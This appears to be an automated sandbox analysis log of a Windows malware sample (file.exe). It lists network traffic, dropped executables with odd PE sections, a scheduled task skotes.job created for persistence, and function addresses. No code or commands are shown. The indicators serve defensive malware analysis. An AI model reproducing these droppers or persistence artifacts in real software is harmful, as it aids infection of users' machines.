Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.8:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.4:443 -> 192.168.2.8:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49852 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: .idata
Source: skotes.exe.24.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: .idata
Source: random[1].exe.28.dr	Static PE information: section name:
Source: b2638941c0.exe.28.dr	Static PE information: section name:
Source: b2638941c0.exe.28.dr	Static PE information: section name: .idata
Source: b2638941c0.exe.28.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA9B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CA9B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CA9B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA3F280

Source: C:\Users\user\DocumentsHCGCBFHCFC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA335A0	0_2_6CA335A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA934A0	0_2_6CA934A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9C4A0	0_2_6CA9C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA46C80	0_2_6CA46C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3D4E0	0_2_6CA3D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76CF0	0_2_6CA76CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA464C0	0_2_6CA464C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5D4D0	0_2_6CA5D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA542B	0_2_6CAA542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAAC00	0_2_6CAAAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA75C10	0_2_6CA75C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA82C10	0_2_6CA82C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA45440	0_2_6CA45440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA545C	0_2_6CAA545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA985F0	0_2_6CA985F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA70DD0	0_2_6CA70DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4FD00	0_2_6CA4FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA60512	0_2_6CA60512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5ED10	0_2_6CA5ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA94EA0	0_2_6CA94EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9E680	0_2_6CA9E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA55E90	0_2_6CA55E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA76E3	0_2_6CAA76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3BEF0	0_2_6CA3BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4FEF0	0_2_6CA4FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA99E30	0_2_6CA99E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA85600	0_2_6CA85600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA77E10	0_2_6CA77E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6E63	0_2_6CAA6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3C670	0_2_6CA3C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA54640	0_2_6CA54640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA82E4E	0_2_6CA82E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA59E50	0_2_6CA59E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA73E50	0_2_6CA73E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA877A0	0_2_6CA877A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3DFE0	0_2_6CA3DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66FF0	0_2_6CA66FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA49F00	0_2_6CA49F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA77710	0_2_6CA77710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA660A0	0_2_6CA660A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5C0E0	0_2_6CA5C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA758E0	0_2_6CA758E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA50C7	0_2_6CAA50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7B820	0_2_6CA7B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA84820	0_2_6CA84820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA47810	0_2_6CA47810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7F070	0_2_6CA7F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA58850	0_2_6CA58850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5D850	0_2_6CA5D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3C9A0	0_2_6CA3C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6D9B0	0_2_6CA6D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA75190	0_2_6CA75190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA92990	0_2_6CA92990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4D960	0_2_6CA4D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B970	0_2_6CA8B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAB170	0_2_6CAAB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5A940	0_2_6CA5A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA322A0	0_2_6CA322A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA64AA0	0_2_6CA64AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4CAB0	0_2_6CA4CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA2AB0	0_2_6CAA2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAABA90	0_2_6CAABA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA51AF0	0_2_6CA51AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7E2F0	0_2_6CA7E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA78AC0	0_2_6CA78AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA79A60	0_2_6CA79A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3F380	0_2_6CA3F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA53C8	0_2_6CAA53C8
